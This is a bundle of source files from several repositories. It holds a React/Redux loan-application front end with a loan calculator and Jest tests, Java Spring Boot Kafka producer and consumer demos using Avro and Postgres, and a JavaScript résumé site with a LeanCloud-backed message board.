import InputField from '@Common/input/InputField'; import './LoanCalculator.scss'; class LoanCalculator extends Component { state = { loanAmount: '', interest: 0.05, tenor: '', error: '', isResultVisible: false, } handleInputChange = (event) => { this.setState({ [event.target.name]: event.target.value }); } calculateLoan = () => { const { loanAmount: amount, interest, tenor } = this.state; const principal = parseFloat(amount); const calculatedInterest = parseFloat(interest) * principal; const calculatedPayments = parseInt(tenor, 10); const monthly = (principal + calculatedInterest) / calculatedPayments; const monthlyPayment = monthly.toFixed(2); const totalPayment = (monthly * calculatedPayments).toFixed(2); const totalInterest = ((monthly * calculatedPayments) - principal).toFixed(2); if (Number.isFinite(monthly)) { this.setState({ monthlyPayment, totalPayment, totalInterest, }); } else { this.setState({ error: 'Please check your numbers' }); } } handleFormSubmit = (event) => { event.preventDefault(); this.calculateLoan(); this.setState({ isResultVisible: true, }); } render() { const { loanAmount, interest, tenor, monthlyPayment, totalPayment, totalInterest, error, isResultVisible, } = this.state; return ( <section className="section-loan-calculator"> <div className="loan-calculator-container"> <div className="card"> <h2 className="heading-secondary loan-calc-heading"> Loan Calculator </h2> <form id="loan-form" onSubmit={this.handleFormSubmit}> <InputField type="number" className="form-control" id="amount" placeholder="Loan Amount in Naira(₦)" min={5000} max={100000} name="loanAmount" value={loanAmount} onChange={this.handleInputChange} required /> <InputField type="number" className="form-control" id="interest" placeholder="Interest (5%)" disabled name="interest" value={interest} /> <InputField type="number" className="form-control" id="tenor" placeholder="Tenor (maximum of 12 months)" min={1} max={12} name="tenor" value={tenor} onChange={this.handleInputChange} required /> <div className="form-group"> <input type="submit" defaultValue="Calculate" className="btn btn--block" /> </div> </form> <div id="loading"> {!!error && <img src="https://res.cloudinary.com/dnl5kwhe6/image/upload/v1567563417/Quick_Credit/loading_vtzvkr.gif" alt="Loading GIF" />} </div> {isResultVisible && ( <div id="results"> <h5 className="heading-tertiary">Results</h5> <div className="form-group"> <div className="input-group"> <label htmlFor="monthly-payment"> Monthly Payment ₦ </label> <input type="number" className="form-control" id="monthly-payment" disabled value={monthlyPayment} /> </div> </div> <div className="form-group"> <div className="input-group"> <label htmlFor="total-interest"> Total Interest ₦ </label> <input type="number" className="form-control" id="total-interest" disabled value={totalInterest} /> </div> </div> <div className="form-group"> <div className="input-group"> <label htmlFor="total-payment"> Total Payment ₦ </label> <input type="number" className="form-control" id="total-payment" disabled value={totalPayment} /> </div> </div> </div> )} </div> </div> </section> ); } } export default LoanCalculator; <file_sep>/src/components/layouts/stories/Stories.js import React from 'react'; import { BrowserRouter, Link } from 'react-router-dom'; import './Stories.scss'; import '@Common/styles/_utilities.scss'; import Story from './Story'; import StoryCollection from './data/StoryCollection'; const Stories = () => { const stories = StoryCollection.map((story, index) => ( <Story title={story.title} description={story.description} img={story.img_src} author={story.author} key={index} /> )); return ( <section className="section-stories"> <div className="u-center-text u-margin-bottom-big"> <h2 className="heading-secondary"> we make people genuinely happy </h2> </div> {stories} <div className="u-center-text u-margin-top-huge"> <BrowserRouter> <Link to="/more-stories" className="btn-text"> Read all stories </Link> </BrowserRouter> </div> </section> ); }; export default Stories; <file_sep>/src/redux/reducers/authReducer.js import { AUTH_LOADING, AUTH_FAILED, SET_CURRENT_USER, LOGOUT, } from '../actions/types'; export const initialState = { authenticating: false, isAuthenticated: false, user: {}, }; export const authReducer = (state = initialState, { type, payload }) => { switch (type) { case AUTH_LOADING: return { ...state, authenticating: true, }; case AUTH_FAILED: return { ...state, authenticating: false, }; case SET_CURRENT_USER: return { ...state, authenticating: false, isAuthenticated: true, user: payload, }; case LOGOUT: return { ...state, isAuthenticated: false, user: {}, authenticating: false, }; default: return state; } }; <file_sep>/src/__tests__/actions/loanActions.test.js import moxios from 'moxios'; import thunk from 'redux-thunk'; import configureMockStore from 'redux-mock-store'; import { instance, API_URL } from '@Utils/axiosInstance'; import { CREATE_LOAN, ACTION_LOADING, NOT_LOADING, FETCH_LOANS, } from '@Actions/types'; import { createLoan, fetchAllLoans } from '@Actions/loanActions'; const mockStore = configureMockStore([thunk]); let store = mockStore(); const successResponse = { data: { loanId: 0, id: 0, user: 'Jane Doe', status: 'pending', repaid: false, tenor: 2, amount: 5000, paymentInstallments: 0, balance: 0, interest: 0, }, }; const loanData = { firstName: 'Hermione', lastName: 'Granger', tenor: 2, amount: 5000, }; const errorResponse = { message: 'Registration failed', }; describe('Register loans', () => { beforeEach(() => { moxios.install(instance); store.clearActions(); }); afterEach(() => moxios.uninstall(instance)); it('should call AUTH_LOADING and SET_CURRENT_USER for a succesful loan application', (done) => { moxios.stubRequest(`${API_URL}/loans`, { status: 201, response: successResponse, }); const expectedActions = [ { type: ACTION_LOADING, payload: { status: 'actionLoading', error: null, data: {}, }, }, { type: CREATE_LOAN, payload: { status: 'loanCreated', error: null, data: { balance: 0, id: 0, interest: 0, loanId: 0, status: 'pending', paymentInstallments: 0, repaid: false, tenor: 2, amount: 5000, user: 'Jane Doe', }, }, }, ]; store = mockStore({}); const history = { push: jest.fn() }; store.dispatch(createLoan(loanData, history)) .then(() => { expect(store.getActions()).toEqual(expectedActions); done(); }); }); it('should call AUTH_LOADING and AUTH_FAILED for a failed registration', async (done) => { const error = null; moxios.stubRequest(`${API_URL}/loans`, { status: 400, response: errorResponse, }); const expectedActions = [ { type: ACTION_LOADING, payload: { status: 'actionLoading', error: null, data: {}, }, }, { type: NOT_LOADING, payload: { status: 'actionFailed', error, data: {}, }, }, ]; store = mockStore({}); await store.dispatch(createLoan()) .then(() => { const actions = store.getActions(); expect(actions[0]).toEqual(expectedActions[0]); expect(actions[0].type).toEqual(expectedActions[0].type); done(); }); }); }); describe('Fetch all loans by Admin', () => { beforeEach(() => { moxios.install(instance); store.clearActions(); }); afterEach(() => moxios.uninstall(instance)); it('should call AUTH_LOADING and FETCH_LOANS for getting all loans', (done) => { moxios.stubRequest(`${API_URL}/loans`, { status: 200, response: successResponse, }); const expectedActions = [ { type: ACTION_LOADING, payload: { status: 'actionLoading', error: null, data: {}, }, }, { type: FETCH_LOANS, payload: { status: 'loansFetched', error: null, loans: { loanId: 0, id: 0, user: '<NAME>', status: 'pending', repaid: false, tenor: 2, amount: 5000, paymentInstallments: 0, balance: 0, interest: 0, }, }, }, ]; store = mockStore({}); store.dispatch(fetchAllLoans()) .then(() => { expect(store.getActions()).toEqual(expectedActions); done(); }); }); it('should call AUTH_LOADING and AUTH_FAILED for a failed registration', async (done) => { const error = null; moxios.stubRequest(`${API_URL}/loans`, { status: 401, response: errorResponse, }); const expectedActions = [ { type: ACTION_LOADING, payload: { status: 'actionLoading', error: null, data: {}, }, }, { type: NOT_LOADING, payload: { status: 'actionFailed', error, data: {}, }, }, ]; store = mockStore({}); await store.dispatch(fetchAllLoans()) .then(() => { const actions = store.getActions(); expect(actions[0]).toEqual(expectedActions[0]); expect(actions[0].type).toEqual(expectedActions[0].type); done(); }); }); }); <file_sep>/src/components/App.test.js import React from 'react'; import { shallow } from 'enzyme'; import PageNotFound from './PageNotFound'; describe('PageNotFound', () => { it('should render without crashing', () => { shallow(<PageNotFound />); }); }); <file_sep>/src/components/layouts/stories/Story.js import React from 'react'; import PropTypes from 'prop-types'; const Story = ({ img, title, description, author, }) => ( <div className="row"> <div className="story"> <figure className="story__shape"> <img className="story__img" src={img} alt="person review" /> </figure> <div className="story__text"> <h3 className="heading-tertiary u-margin-bottom-small"> {title} </h3> <p> {description} </p> <p> -- {author} </p> </div> </div> </div> ); Story.propTypes = { img: PropTypes.string.isRequired, title: PropTypes.string.isRequired, description: PropTypes.string.isRequired, author: PropTypes.string.isRequired, }; export default Story; <file_sep>/src/redux/reducers/loanReducer.js import { CREATE_LOAN, ACTION_LOADING, NOT_LOADING, FETCH_LOANS, } from '@Actions/types'; export const initialState = { error: null, data: {}, status: 'status', loans: [], }; export const loanReducer = (state = initialState, { type, payload }) => { switch (type) { case ACTION_LOADING: return { ...state, status: payload.status, }; case NOT_LOADING: return { ...state, error: payload.error, status: payload.status, }; case CREATE_LOAN: return { ...state, data: payload.data, status: payload.status, }; case FETCH_LOANS: return { ...state, loans: payload.loans, status: payload.status, }; default: return state; } }; <file_sep>/src/index.js import React from 'react'; import ReactDOM from 'react-dom'; import { Provider } from 'react-redux'; import { setCurrentUser, userLogOut } from '@Actions/authActions'; import { setAuthorizationToken } from '@Utils/setAuthToken'; import jwtDecode from 'jwt-decode'; import App from './app'; import store from './redux/store'; if (localStorage.jwtToken) { setAuthorizationToken(localStorage.jwtToken); const decoded = jwtDecode(localStorage.jwtToken); store.dispatch(setCurrentUser(decoded)); } if (localStorage.jwtToken) { const decoded = jwtDecode(localStorage.jwtToken); store.dispatch(setCurrentUser(decoded)); const currentTime = Date.now() / 1000; if (decoded.exp < currentTime) { // eslint-disable-next-line no-return-assign const history = { push: () => window.location.href = '/signin' }; store.dispatch(userLogOut(history)); } } ReactDOM.render( <Provider store={store}> <App /> </Provider>, document.getElementById('root'), ); <file_sep>/src/components/common/input/InputField.js import React from 'react'; import PropTypes from 'prop-types'; const InputField = ({ className, name, ...props }) => ( <div className="form-group"> <div className="input-group"> <input className={className} name={name} {...props} /> </div> </div> ); InputField.propTypes = { className: PropTypes.string.isRequired, name: PropTypes.string.isRequired, }; export default InputField; <file_sep>/src/__tests__/components/SignUp.test.js import React from 'react'; import configureMockStore from 'redux-mock-store'; import thunk from 'redux-thunk'; import { BrowserRouter as Router } from 'react-router-dom'; import { mount } from 'enzyme'; import SignUp, { SignUpComponent } from '@Layouts/pages/signup/SignUp'; const initialState = { auth: { error: null, user: {}, isAuthenticated: false, status: 'status', }, }; const props = { history: { push: jest.fn(), }, }; const middlewares = [thunk]; const mockStore = configureMockStore(middlewares); const store = mockStore(initialState); describe('<SignUp/>', () => { it('should render without crashing', () => { mount( <Router> <SignUp store={store} {...props} /> </Router>, ); }); it('Should render along with children component', () => { const component = mount( <Router> <SignUp store={store} {...props} /> </Router>, ); expect(component.find('button')).toHaveLength(1); expect(component.find('input')).toHaveLength(5); component.unmount(); }); it('should call onChange props for email input', () => { const component = mount( <Router> <SignUp store={store} {...props} /> </Router>, ); const emailInput = component.find('input[type="email"]'); emailInput.simulate('change', { persist: () => { }, target: { name: 'email', value: '<EMAIL>', }, }); expect(component.find('input[type="email"]').length).toEqual(1); expect(emailInput.html()).toMatch('<EMAIL>'); component.unmount(); }); it(' should call onSubmit prop function when form is submitted', () => { const handleSignUp = jest.fn(); const component = mount( <Router> <SignUpComponent store={store} onSubmit={handleSignUp} {...props} /> </Router>, ); const form = component.find('form'); form.simulate('submit'); expect(handleSignUp).toHaveBeenCalledTimes(1); component.unmount(); }); });
3d844f8f455d88f5eb314dfea74d304a39d146ba
[ "JavaScript", "Markdown" ]
32
JavaScript
OdunayoOkebunmi/Quick_Credit_UI
7067dac3ac32ca12100d7cdbb9aa047dca60b60d
bb4c5e481a8c35e6decb7cd07cf3db3f2a0ef47d
refs/heads/master
<file_sep>package com.first; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; public class Test { public static void main(String[] args){ ApplicationContext ctx=new ClassPathXmlApplicationContext("resource/spring-config.xml"); Helloworld hello= (Helloworld)ctx.getBean("hello"); hello.showName(); } }
f5b81a7305c4353f5b3e235e4951f4c0baa15e34
[ "Java" ]
1
Java
designerforUI/firstSpringProject
611a7985c2b86cadf95b01cd58d28c6d33c65b63
7da7e322d8bc9dcccb5d8dde64bb5f30ca98fce9
refs/heads/master
<repo_name>Burca-Vlad/kafka_examples<file_sep>/datarest/src/main/java/com/linkit/datarest/models/MainEntity.java package com.linkit.datarest.models; import org.hibernate.annotations.GenericGenerator; import org.hibernate.annotations.Parameter; import javax.persistence.*; @Entity @Table(name = "TST_MAIN") public class MainEntity { @Id @GenericGenerator(name="main_seq", strategy = "org.hibernate.id.enhanced.SequenceStyleGenerator", parameters = { @Parameter(name = "sequence_name", value = "main_seq"), @Parameter(name = "initial_value", value = "0"), @Parameter(name = "increment_size", value = "1") } ) @GeneratedValue(strategy= GenerationType.SEQUENCE,generator="main_seq") @Column(name = "ID", nullable = false, unique = true) private Long resourceId; @Column(name = "MAIN_NAME") private String name; @Column(name = "MAIN_DESCRIPTION") private String description; public Long getResourceId() { return resourceId; } public void setResourceId(Long resourceId) { this.resourceId = resourceId; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } @Override public String toString() { return "MainEntity{" + "resourceId=" + resourceId + ", name='" + name + '\'' + ", description='" + description + '\'' + '}'; } } <file_sep>/datarest/src/main/resources/application.properties server.port=9003 spring.application.name=demo kafka.topic.name=bla kafka.group.id=group_id spring.datasource.platform=postgres spring.datasource.driver-class-name=org.postgresql.Driver spring.datasource.username=demo spring.datasource.password=<PASSWORD> spring.datasource.url=jdbc:postgresql://localhost:5432/demo spring.flyway.table=schema_version spring.jpa.database=POSTGRESQL spring.jpa.show-sql=true spring.jpa.hibernate.ddl-auto=none spring.jpa.properties.hibernate.jdbc.lob.non_contextual_creation=true auto.register.schemas=true <file_sep>/datarest/src/main/java/com/linkit/datarest/kafka/configurations/KafkaConfiguration.java package com.linkit.datarest.kafka.configurations; import com.generated.avro.demo.JsonRequest; import com.linkit.datarest.kafka.deserializer.AvroDeserializer; import com.linkit.datarest.serializer.AvroSerializer; import io.confluent.kafka.serializers.AbstractKafkaAvroSerDeConfig; import io.confluent.kafka.serializers.KafkaAvroSerializerConfig; import io.confluent.kafka.serializers.subject.TopicRecordNameStrategy; import org.apache.kafka.clients.consumer.ConsumerConfig; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.common.serialization.StringDeserializer; import org.apache.kafka.common.serialization.StringSerializer; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.kafka.annotation.EnableKafka; import org.springframework.kafka.config.ConcurrentKafkaListenerContainerFactory; import org.springframework.kafka.core.*; import java.util.HashMap; import java.util.Map; @Configuration @EnableKafka public class KafkaConfiguration { private Map<String, Object> getProperties(){ Map<String, Object> props = new HashMap<>(); props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092"); props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getName()); props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, AvroDeserializer.class.getName()); props.put(AbstractKafkaAvroSerDeConfig.AUTO_REGISTER_SCHEMAS, true); props.put(AbstractKafkaAvroSerDeConfig.SCHEMA_REGISTRY_URL_CONFIG, "http://localhost:8081"); props.put(ConsumerConfig.GROUP_ID_CONFIG, "group_id_1"); props.put(KafkaAvroSerializerConfig.VALUE_SUBJECT_NAME_STRATEGY, TopicRecordNameStrategy.class.getName()); return props; } private ConsumerFactory<String, JsonRequest> consumerFactory() { return new DefaultKafkaConsumerFactory<>(getProperties(), new StringDeserializer(), new AvroDeserializer<>(JsonRequest.class)); } @Bean public ConcurrentKafkaListenerContainerFactory<String, JsonRequest> kafkaListenerContainerFactory() { ConcurrentKafkaListenerContainerFactory<String, JsonRequest> factory = new ConcurrentKafkaListenerContainerFactory<>(); factory.setConsumerFactory(consumerFactory()); factory.setReplyTemplate(getTemplate()); return factory; } private KafkaTemplate<String, JsonRequest> getTemplate(){ return new KafkaTemplate<>(getProducer()); } private ProducerFactory<String, JsonRequest> getProducer(){ Map<String, Object> props = new HashMap<>(); props.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092"); props.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class.getName()); props.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, AvroSerializer.class.getName()); props.put(AbstractKafkaAvroSerDeConfig.AUTO_REGISTER_SCHEMAS, true); props.put(AbstractKafkaAvroSerDeConfig.SCHEMA_REGISTRY_URL_CONFIG, "http://localhost:8081"); props.put(KafkaAvroSerializerConfig.VALUE_SUBJECT_NAME_STRATEGY, TopicRecordNameStrategy.class.getName()); return new DefaultKafkaProducerFactory<>(props); } } <file_sep>/datarest/src/main/java/com/linkit/datarest/kafka/listeners/Listener.java package com.linkit.datarest.kafka.listeners; import com.generated.avro.demo.JsonRequest; import com.linkit.datarest.models.MainEntity; import com.linkit.datarest.repository.MainEntityRepository; import org.apache.log4j.Logger; import org.springframework.kafka.annotation.KafkaListener; import org.springframework.messaging.handler.annotation.SendTo; import org.springframework.stereotype.Service; @Service public class Listener { private static final Logger logger = Logger.getLogger(Listener.class); private MainEntityRepository mainEntityRepository; public Listener(MainEntityRepository mainEntityRepository) { this.mainEntityRepository = mainEntityRepository; } @KafkaListener(topics = "${kafka.topic.name}") @SendTo public JsonRequest consume(JsonRequest message) { logger.info(String.format("#### -> Consumed message -> %s", message)); MainEntity mainEntity = new MainEntity(); mainEntity.setName(message.getName().toString()); mainEntity.setDescription(message.getDescription().toString()); try { mainEntityRepository.save(mainEntity); }catch (Exception e){ logger.info("in error"); message.setError(e.getMessage()); } return message; } } <file_sep>/demo.kafka.producer.reply/src/main/java/com/linkit/demo/kafka/producer/configurations/KafkaConfiguration.java package com.linkit.demo.kafka.producer.configurations; import com.generated.avro.demo.JsonRequest; import com.linkit.demo.kafka.producer.deserializer.AvroDeserializer; import com.linkit.demo.kafka.producer.serializer.AvroSerializer; import io.confluent.kafka.serializers.AbstractKafkaAvroSerDeConfig; import io.confluent.kafka.serializers.KafkaAvroSerializerConfig; import io.confluent.kafka.serializers.subject.TopicRecordNameStrategy; import org.apache.avro.generic.GenericRecord; import org.apache.kafka.clients.consumer.ConsumerConfig; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.common.serialization.StringDeserializer; import org.apache.kafka.common.serialization.StringSerializer; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; import org.springframework.kafka.core.*; import org.springframework.kafka.listener.ContainerProperties; import org.springframework.kafka.listener.KafkaMessageListenerContainer; import org.springframework.kafka.requestreply.ReplyingKafkaTemplate; import java.util.HashMap; import java.util.Map; @Configuration public class KafkaConfiguration { @Value("${kafka.reply.topic.name}") private String replyTopic; @Bean public ReplyingKafkaTemplate<String, JsonRequest, JsonRequest> getTemplate(KafkaMessageListenerContainer<String, JsonRequest> container){ return new ReplyingKafkaTemplate<>(getProducer(), container); } private ProducerFactory<String, JsonRequest> getProducer(){ Map<String, Object> props = new HashMap<>(); props.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092"); props.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class.getName()); props.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, AvroSerializer.class.getName()); props.put(AbstractKafkaAvroSerDeConfig.AUTO_REGISTER_SCHEMAS, true); props.put(AbstractKafkaAvroSerDeConfig.SCHEMA_REGISTRY_URL_CONFIG, "http://localhost:8081"); props.put(KafkaAvroSerializerConfig.VALUE_SUBJECT_NAME_STRATEGY, TopicRecordNameStrategy.class.getName()); return new DefaultKafkaProducerFactory<>(props); } @Bean public KafkaMessageListenerContainer<String, JsonRequest> replyContainer() { ContainerProperties containerProperties = new ContainerProperties(replyTopic); return new KafkaMessageListenerContainer<>(consumerFactory(), containerProperties); } private Map<String, Object> getProperties(){ Map<String, Object> props = new HashMap<>(); props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092"); props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getName()); props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, AvroDeserializer.class.getName()); props.put(AbstractKafkaAvroSerDeConfig.AUTO_REGISTER_SCHEMAS, true); props.put(AbstractKafkaAvroSerDeConfig.SCHEMA_REGISTRY_URL_CONFIG, "http://localhost:8081"); props.put(ConsumerConfig.GROUP_ID_CONFIG, "group_id_2"); props.put(KafkaAvroSerializerConfig.VALUE_SUBJECT_NAME_STRATEGY, TopicRecordNameStrategy.class.getName()); return props; } private ConsumerFactory<String, JsonRequest> consumerFactory() { return new DefaultKafkaConsumerFactory<>(getProperties(), new StringDeserializer(), new AvroDeserializer<>(JsonRequest.class)); } } <file_sep>/datarest/src/main/resources/db/migration/V1_1__base.sql CREATE SEQUENCE main_seq; CREATE TABLE TST_MAIN ( ID BIGINT PRIMARY KEY, MAIN_NAME VARCHAR(256) NOT NULL, MAIN_DESCRIPTION VARCHAR(1000) ); create unique index IDX_MAIN_UNIQUE on TST_MAIN(MAIN_NAME);<file_sep>/datarest/src/main/java/com/linkit/datarest/configurations/DatabaseJpaConfiguration.java package com.linkit.datarest.configurations; import org.springframework.boot.autoconfigure.domain.EntityScan; import org.springframework.context.annotation.Configuration; import org.springframework.data.jpa.repository.config.EnableJpaRepositories; @Configuration @EntityScan("com.linkit.datarest.models") @EnableJpaRepositories("com.linkit.datarest.repository") public class DatabaseJpaConfiguration { } <file_sep>/demo.kafka.producer.reply/src/main/java/com/linkit/demo/kafka/producer/Producer.java package com.linkit.demo.kafka.producer; import com.generated.avro.demo.JsonRequest; import org.apache.avro.generic.GenericRecord; import org.apache.kafka.clients.producer.ProducerRecord; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.kafka.core.KafkaTemplate; import org.springframework.kafka.requestreply.ReplyingKafkaTemplate; import org.springframework.kafka.requestreply.RequestReplyFuture; import org.springframework.stereotype.Service; import java.util.concurrent.ExecutionException; @Service public class Producer { private static final Logger logger = Logger.getLogger(Producer.class); @Value("${kafka.topic.name}") private String TOPIC; private ReplyingKafkaTemplate<String, JsonRequest, JsonRequest> kafkaTemplate; @Autowired public Producer(ReplyingKafkaTemplate<String, JsonRequest, JsonRequest> kafkaTemplate) { this.kafkaTemplate = kafkaTemplate; } public void sendMessage(JsonRequest message) throws ExecutionException, InterruptedException { logger.info(String.format("#### -> Producing message -> %s", message)); ProducerRecord<String, JsonRequest> record = new ProducerRecord<>(TOPIC, message); RequestReplyFuture<String, JsonRequest, JsonRequest> requestReplyFuture = this.kafkaTemplate.sendAndReceive(record); logger.info("Received reply: " + requestReplyFuture.get().value().toString()); } } <file_sep>/demo.kafka.producer/src/main/java/com/linkit/demo/kafka/producer/constants/UrlConstants.java package com.linkit.demo.kafka.producer.constants; public class UrlConstants { public static final String kafkaBase = "kafka"; } <file_sep>/datarest/src/main/java/com/linkit/datarest/constants/UrlConstants.java package com.linkit.datarest.constants; public class UrlConstants { public static final String paramName = "name"; public static final String repositoryBase = "main"; } <file_sep>/demo.kafka.producer/src/main/java/com/linkit/demo/kafka/producer/Producer.java package com.linkit.demo.kafka.producer; import com.generated.avro.demo.JsonRequest; import org.apache.avro.generic.GenericRecord; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.kafka.core.KafkaTemplate; import org.springframework.stereotype.Service; @Service public class Producer { private static final Logger logger = Logger.getLogger(Producer.class); @Value("${kafka.topic.name}") private String TOPIC; private KafkaTemplate<String, GenericRecord> kafkaTemplate; @Autowired public Producer(KafkaTemplate<String, GenericRecord> kafkaTemplate) { this.kafkaTemplate = kafkaTemplate; } public void sendMessage(JsonRequest message) { logger.info(String.format("#### -> Producing message -> %s", message)); this.kafkaTemplate.send(TOPIC, message); } } <file_sep>/demo.kafka.producer/src/main/resources/application.properties server.port=9004 spring.application.name=demo-producer kafka.topic.name=bla kafka.group.id=group_id auto.register.schemas=true <file_sep>/demo.kafka.producer.reply/src/main/resources/application.properties server.port=9005 spring.application.name=demo-producer-reply kafka.topic.name=bla kafka.reply.topic.name=bla auto.register.schemas=true <file_sep>/datarest/src/main/java/com/linkit/datarest/runner/DataLoader.java package com.linkit.datarest.runner; import com.linkit.datarest.models.MainEntity; import com.linkit.datarest.repository.MainEntityRepository; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.CommandLineRunner; import org.springframework.stereotype.Component; @Component public class DataLoader implements CommandLineRunner { private Logger log = Logger.getLogger(DataLoader.class); private MainEntityRepository mainEntityRepository; @Autowired public DataLoader(MainEntityRepository mainEntityRepository) { this.mainEntityRepository = mainEntityRepository; } @Override public void run(String... args){ if(isDbEmpty()){ for (int x = 0; x < 100; x++){ MainEntity mainEntity = new MainEntity(); mainEntity.setName("Name-" + x); mainEntity.setDescription("Description-" + x); log.info("Adding object to DB: " + mainEntity); mainEntityRepository.save(mainEntity); } } } private boolean isDbEmpty(){ log.info("Size of elements here: " + mainEntityRepository.findAll().spliterator().getExactSizeIfKnown()); return !(mainEntityRepository.findAll().spliterator().getExactSizeIfKnown() > 0); } }
bb905ef67fb065abc8f4c5373ea647785af5d4e4
[ "Java", "SQL", "INI" ]
14
Java
Burca-Vlad/kafka_examples
f78a60acb95bfb44db6961a7c146721bdda575fd
b56eef6e2a6d58106263c5b243e1b0f74ff83465
refs/heads/master
<file_sep>!function(){ let view = document.querySelector('.messages') let model = { initAv:function(){ let APP_ID = 'XHlpuHFPSe3iYezJHM6qiqj2-gzGzoHsz'; let APP_KEY = '<KEY>'; AV.init({ appId: APP_ID, appKey: APP_KEY }); }, fetch:function(){ let query = new AV.Query('Messages'); return query.find() }, save:function({userName,content}){ let Messages = AV.Object.extend('Messages'); let messages = new Messages(); return messages.save({ 'name':userName, 'content': content, }) } } let controller = { view:null, model:null, newMessages:null, myForm:view.querySelector('Form'), olTag:view.querySelector('.ol'), n:0, init:function(view,model){ this.view = view this.model = model this.model.initAv() this.loadMessages() this.bindEvents() }, loadMessages:function(){ this.model.fetch().then((e) =>{ this.newMessages = this.view.querySelectorAll('.newMessages') this.newMessages.forEach((value)=>{value.textContent = '(共'+e.length +'条)'}) e.forEach((value)=>{ this.createElement(value) }) }) }, bindEvents:function(){ this.myForm.addEventListener('submit', (e) =>{ e.preventDefault() this.saveMessage() }) this.olTag.addEventListener('click',(e)=>{ if(e.target.id === 'like'){ this.n+=1 e.target.textContent = '('+this.n+')' } }) }, saveMessage:function(){ let userName = this.myForm.querySelector('input[name=userName]').value let content = this.myForm.querySelector('textarea[name=content]').value if(userName === '' && content === ''){ alert('内容不可为空') }else{ this.model.save({userName,content}).then((object) =>{ this.createElement(object) this.newMessages.forEach((value)=>{ let xxx = value.textContent.match(/(\d+)/g) xxx.forEach((e)=>{ value.textContent = '(共'+(parseInt(e)+1)+'条)' }) }) }) this.myForm.querySelector('input[name=userName]').value ='' this.myForm.querySelector('textarea[name=content]').value = '' } }, createElement:function(value){ let $olTag = $('.ol') let template = ` <li> <div class="userInformation"> <div class="userContentUp"> <span class="userName">${value.attributes.name}:</span> <span class="leaveMessage">${value.attributes.content}</span> </div> <div class="userContentDown clearfix"> <div class="upData">${value.updatedAt.toDateString()}</div> <div class="replyLike"> <i id="like" class="iconfont icon-zan2">(10)</i> <span class="verticalLine">|</span> <span class="reply">回复</span> </div> </div> </div> </li>` let $node = $(template) $olTag.prepend($node) } } controller.init(view,model) }.call() <file_sep>!function(){ let view = document.querySelector('.menuTigger ') let controller = { view:null, aTags:null, init:function(view){ this.view = view this.initAnimate() this.bindEvents() }, bindEvents:function(){ this.aTags = this.view.querySelectorAll('ul > li > a') for(let i = 0; i < this.aTags.length; i++){ this.aTags[i].addEventListener('click',(e)=>{ e.preventDefault() let href = e.currentTarget.getAttribute('href') //直接用 id.href 得到的 href 是经过 Http 处理过的 let element = document.querySelector(href) this.scrollToElement(element) }) } }, initAnimate:function(){ function animate(time) { requestAnimationFrame(animate); TWEEN.update(time); } requestAnimationFrame(animate); }, scrollToElement:function(element){ let top = element.offsetTop //这里获取的高度是要不变的,getBoundingClientRect() 获取的 top 会变化 let currentTop = window.scrollY //当距离 let targetTop = top - 80 //目标距离 let t = Math.abs(currentTop - targetTop) / 100 * 300 if(t>1000){ t = 1000 } let coords = { y: currentTop }; let tween = new TWEEN.Tween(coords) .to({ y: targetTop }, t) .easing(TWEEN.Easing.Quadratic.InOut) .onUpdate(function() { console.log(0,coords.y) window.scrollTo(0,coords.y) }) .start(); } } controller.init(view) }.call() <file_sep>!function(){ let view = document.getElementById('sticky') let controller = { view:null, specialTags:document.querySelectorAll('[data-x]'), minIndex:0, init:function(view){ this.view = view this.bindEvents() }, bindEvents:function(){ window.addEventListener('scroll',()=>{ if(window.scrollY > 0){ view.classList.add('sticky') }else{ view.classList.remove('sticky') } this.scrollingPageEffect() }) }, scrollingPageEffect:function(){ for(let i = 1; i < this.specialTags.length; i++){ if(Math.abs(this.specialTags[i].offsetTop - window.scrollY) < Math.abs(this.specialTags[this.minIndex].offsetTop - window.scrollY)){ this.minIndex = i } } let id = this.specialTags[this.minIndex].id let aTag = document.querySelector('a[href="#' + id +'"]') let liTag = aTag.parentNode let liTags = liTag.parentNode.children for(let i = 0; i < liTags.length; i++){ liTags[i].classList.remove('heightLight') } liTag.classList.add('heightLight') if(liTags[1].className === 'heightLight'){ this.specialTags[1].classList.add('animate') }else{ this.specialTags[1].classList.remove('animate') } }, } controller.init(view) }.call()
4611c67ae927af3c1e70e10760cc0fc4430f07a7
[ "JavaScript" ]
3
JavaScript
astak16/resume-2018-7-27
ed8d46c07319f45737200a17413f4974c0c04737
6bb94837a87b940a95cc522f7cf791b9f13de7b4
refs/heads/master
